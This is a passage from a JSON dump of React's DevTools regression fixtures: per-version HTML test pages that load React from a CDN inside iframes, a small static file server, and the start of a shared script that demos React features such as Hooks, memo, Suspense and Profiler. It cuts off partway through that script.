    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 15.1</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/react@15.1/dist/react.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@15.1/dist/react-dom.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/15.1.html\">http://localhost:3000/15.1.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/15.2.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 15.2</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/react@15.2/dist/react.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@15.2/dist/react-dom.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/15.2.html\">http://localhost:3000/15.2.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/15.3.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 15.3</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/react@15.3/dist/react.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@15.3/dist/react-dom.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/15.3.html\">http://localhost:3000/15.3.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/15.4.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 15.4</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/react@15.4/dist/react.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@15.4/dist/react-dom.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/15.4.html\">http://localhost:3000/15.4.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/15.5.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 15.5</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/react@15.5/dist/react.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@15.5/dist/react-dom.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/15.5.html\">http://localhost:3000/15.5.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/15.6.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 15.6</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/react@15.6/dist/react.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@15.6/dist/react-dom.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/15.6.html\">http://localhost:3000/15.6.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/16.0.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 16.0</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/react@16.0/umd/react.development.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@16.0/umd/react-dom.development.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/16.0.html\">http://localhost:3000/16.0.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/16.1.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 16.1</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/react@16.1/umd/react.development.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@16.1/umd/react-dom.development.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/16.1.html\">http://localhost:3000/16.1.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/16.2.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 16.2</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/react@16.2/umd/react.development.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@16.2/umd/react-dom.development.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/16.2.html\">http://localhost:3000/16.2.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/16.3.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 16.3</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/react@16.3/umd/react.development.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@16.3/umd/react-dom.development.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/16.3.html\">http://localhost:3000/16.3.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/16.4.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 16.4</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/react@16.4/umd/react.development.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@16.4/umd/react-dom.development.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/16.4.html\">http://localhost:3000/16.4.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/16.5.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 16.5</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/schedule@0.5.0/umd/schedule.development.js\"></script>\n    <script src=\"https://unpkg.com/schedule@0.5.0/umd/schedule-tracing.development.js\"></script>\n    <script src=\"https://unpkg.com/react@16.5/umd/react.development.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@16.5/umd/react-dom.development.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/16.5.html\">http://localhost:3000/16.5.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/16.6.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 16.6</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/scheduler@0.10.0/umd/scheduler.development.js\"></script>\n    <script src=\"https://unpkg.com/scheduler@0.10.0/umd/scheduler-tracing.development.js\"></script>\n    <script src=\"https://unpkg.com/react@16.6/umd/react.development.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@16.6/umd/react-dom.development.js\"></script>\n    <script src=\"https://unpkg.com/react-cache@2.0.0-alpha.1/umd/react-cache.development.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/16.6.html\">http://localhost:3000/16.6.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/16.7.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 16.7</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/scheduler@0.12.0/umd/scheduler.development.js\"></script>\n    <script src=\"https://unpkg.com/scheduler@0.12.0/umd/scheduler-tracing.development.js\"></script>\n    <script src=\"https://unpkg.com/react@16.7/umd/react.development.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@16.7/umd/react-dom.development.js\"></script>\n    <script src=\"https://unpkg.com/react-cache@2.0.0-alpha.1/umd/react-cache.development.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/16.7.html\">http://localhost:3000/16.7.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/canary.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React canary</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/scheduler@canary/umd/scheduler.development.js\"></script>\n    <script src=\"https://unpkg.com/scheduler@canary/umd/scheduler-tracing.development.js\"></script>\n    <script src=\"https://unpkg.com/react@canary/umd/react.development.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@canary/umd/react-dom.development.js\"></script>\n    <script src=\"https://unpkg.com/react-cache@canary/umd/react-cache.development.js\"></script>\n\n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/canary.html\">http://localhost:3000/canary.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/devtools/regression/index.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React DevTools regression test</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n  </head>\n  <body>\n    <iframe src=\"canary.html\"></iframe>\n    <iframe src=\"next.html\"></iframe>\n    <iframe src=\"16.7.html\"></iframe>\n    <iframe src=\"16.6.html\"></iframe>\n    <iframe src=\"16.5.html\"></iframe>\n    <iframe src=\"16.4.html\"></iframe>\n    <iframe src=\"16.3.html\"></iframe>\n    <iframe src=\"16.2.html\"></iframe>\n    <iframe src=\"16.1.html\"></iframe>\n    <iframe src=\"16.0.html\"></iframe>\n    <iframe src=\"15.6.html\"></iframe>\n    <iframe src=\"15.5.html\"></iframe>\n    <iframe src=\"15.4.html\"></iframe>\n    <iframe src=\"15.3.html\"></iframe>\n    <iframe src=\"15.2.html\"></iframe>\n    <iframe src=\"15.1.html\"></iframe>\n    <iframe src=\"15.0.html\"></iframe>\n    <iframe src=\"14.9.html\"></iframe>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/next.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React next</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/scheduler@canary/umd/scheduler.development.js\"></script>\n    <script src=\"https://unpkg.com/scheduler@canary/umd/scheduler-tracing.development.js\"></script>\n    <script src=\"https://unpkg.com/react@canary/umd/react.development.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@canary/umd/react-dom.development.js\"></script>\n    <script src=\"https://unpkg.com/react-cache@canary/umd/react-cache.development.js\"></script>\n\n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/next.html\">http://localhost:3000/next.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/devtools/regression/server.js",
    "content": "#!/usr/bin/env node\n\nconst finalhandler = require('finalhandler');\nconst http = require('http');\nconst serveStatic = require('serve-static');\n\n// Serve fixtures folder\nconst serve = serveStatic(__dirname, {index: 'index.html'});\n\n// Create server\nconst server = http.createServer(function onRequest(req, res) {\n  serve(req, res, finalhandler(req, res));\n});\n\n// Listen\nserver.listen(3000);\n"
  },
  {
    "path": "fixtures/devtools/regression/shared.js",
    "content": "/* eslint-disable react/react-in-jsx-scope, react/jsx-no-undef */\n/* global React ReactCache ReactDOM SchedulerTracing ScheduleTracing  */\n\nconst apps = [];\n\nconst pieces = React.version.split('.');\nconst major =\n  pieces[0] === '0' ? parseInt(pieces[1], 10) : parseInt(pieces[0], 10);\nconst minor =\n  pieces[0] === '0' ? parseInt(pieces[2], 10) : parseInt(pieces[1], 10);\n\n// Convenience wrapper to organize API features in DevTools.\nfunction Feature({children, label, version}) {\n  return (\n    <div className=\"Feature\">\n      <div className=\"FeatureHeader\">\n        <code className=\"FeatureCode\">{label}</code>\n        <small>{version}</small>\n      </div>\n      {children}\n    </div>\n  );\n}\n\n// Simplify interaction tracing for tests below.\nlet trace = null;\nif (typeof SchedulerTracing !== 'undefined') {\n  trace = SchedulerTracing.unstable_trace;\n} else if (typeof ScheduleTracing !== 'undefined') {\n  trace = ScheduleTracing.unstable_trace;\n} else {\n  trace = (_, __, callback) => callback();\n}\n\n// https://github.com/facebook/react/blob/main/CHANGELOG.md\nswitch (major) {\n  case 16:\n    switch (minor) {\n      case 7:\n        if (typeof React.useState === 'function') {\n          // Hooks\n          function Hooks() {\n            const [count, setCount] = React.useState(0);\n            const incrementCount = React.useCallback(\n              () => setCount(count + 1),\n              [count]\n            );\n            return (\n              <div>\n                count: {count}{' '}\n                <button onClick={incrementCount}>increment</button>\n              </div>\n            );\n          }\n          apps.push(\n            <Feature key=\"Hooks\" label=\"Hooks\" version=\"16.7+\">\n              <Hooks />\n            </Feature>\n          );\n        }\n      case 6:\n        // memo\n        function LabelComponent({label}) {\n          return <label>{label}</label>;\n        }\n        const AnonymousMemoized = React.memo(({label}) => (\n          <label>{label}</label>\n        ));\n        const Memoized = React.memo(LabelComponent);\n        const CustomMemoized = React.memo(LabelComponent);\n        CustomMemoized.displayName = 'MemoizedLabelFunction';\n        apps.push(\n          <Feature key=\"memo\" label=\"memo\" version=\"16.6+\">\n            <AnonymousMemoized label=\"AnonymousMemoized\" />\n            <Memoized label=\"Memoized\" />\n            <CustomMemoized label=\"CustomMemoized\" />\n          </Feature>\n        );\n\n        // Suspense\n        const loadResource = ([text, ms]) => {\n          return new Promise((resolve, reject) => {\n            setTimeout(() => {\n              resolve(text);\n            }, ms);\n          });\n        };\n        const getResourceKey = ([text, ms]) => text;\n        const Resource = ReactCache.unstable_createResource(\n          loadResource,\n          getResourceKey\n        );\n        class Suspending extends React.Component {\n          state = {useSuspense: false};\n          useSuspense = () => this.setState({useSuspense: true});\n          render() {\n            if (this.state.useSuspense) {\n              const text = Resource.read(['loaded', 2000]);\n              return text;\n            } else {\n              return <button onClick={this.useSuspense}>load data</button>;\n            }\n          }\n        }\n        apps.push(\n          <Feature key=\"Suspense\" label=\"Suspense\" version=\"16.6+\">\n            <React.Suspense fallback={<div>loading...</div>}>\n              <Suspending />\n            </React.Suspense>\n          </Feature>\n        );\n\n        // lazy\n        const LazyWithDefaultProps = React.lazy(\n          () =>\n            new Promise(resolve => {\n              function FooWithDefaultProps(props) {\n                return (\n                  <h1>\n                    {props.greeting}, {props.name}\n                  </h1>\n                );\n              }\n              FooWithDefaultProps.defaultProps = {\n                name: 'World',\n                greeting: 'Bonjour',\n              };\n              resolve({\n                default: FooWithDefaultProps,\n              });\n            })\n        );\n        apps.push(\n          <Feature key=\"lazy\" label=\"lazy\" version=\"16.6+\">\n            <React.Suspense fallback={<div>loading...</div>}>\n              <LazyWithDefaultProps greeting=\"Hello\" />\n            </React.Suspense>\n          </Feature>\n        );\n      case 5:\n      case 4:\n        // unstable_Profiler\n        class ProfilerChild extends React.Component {\n          state = {count: 0};\n          incrementCount = () =>\n            this.setState(prevState => ({count: prevState.count + 1}));\n          render() {\n            return (\n              <div>\n                count: {this.state.count}{' '}\n                <button onClick={this.incrementCount}>increment</button>\n              </div>\n            );\n          }\n        }\n        const onRender = (...args) => {};\n        const Profiler = React.unstable_Profiler || React.Profiler;\n        apps.push(\n          <Feature\n            key=\"unstable_Profiler\"\n            label=\"unstable_Profiler\"\n            version=\"16.4+\">\n            <Profiler id=\"count\" onRender={onRender}>\n              <div>\n                <ProfilerChild />\n              </div>\n            </Profiler>\n          </Feature>\n        );\n      case 3:\n        // createContext()\n        const LocaleContext = React.createContext();\n        LocaleContext.displayName = 'LocaleContext';\n        const ThemeContext = React.createContext();\n        apps.push(\n          <Feature key=\"createContext\" label=\"createContext\" version=\"16.3+\">\n            <ThemeContext.Provider value=\"blue\">\n              <ThemeContext.Consumer>\n                {theme => <div>theme: {theme}</div>}\n              </ThemeContext.Consumer>\n            </ThemeContext.Provider>\n            <LocaleContext.Provider value=\"en-US\">\n              <LocaleContext.Consumer>\n                {locale => 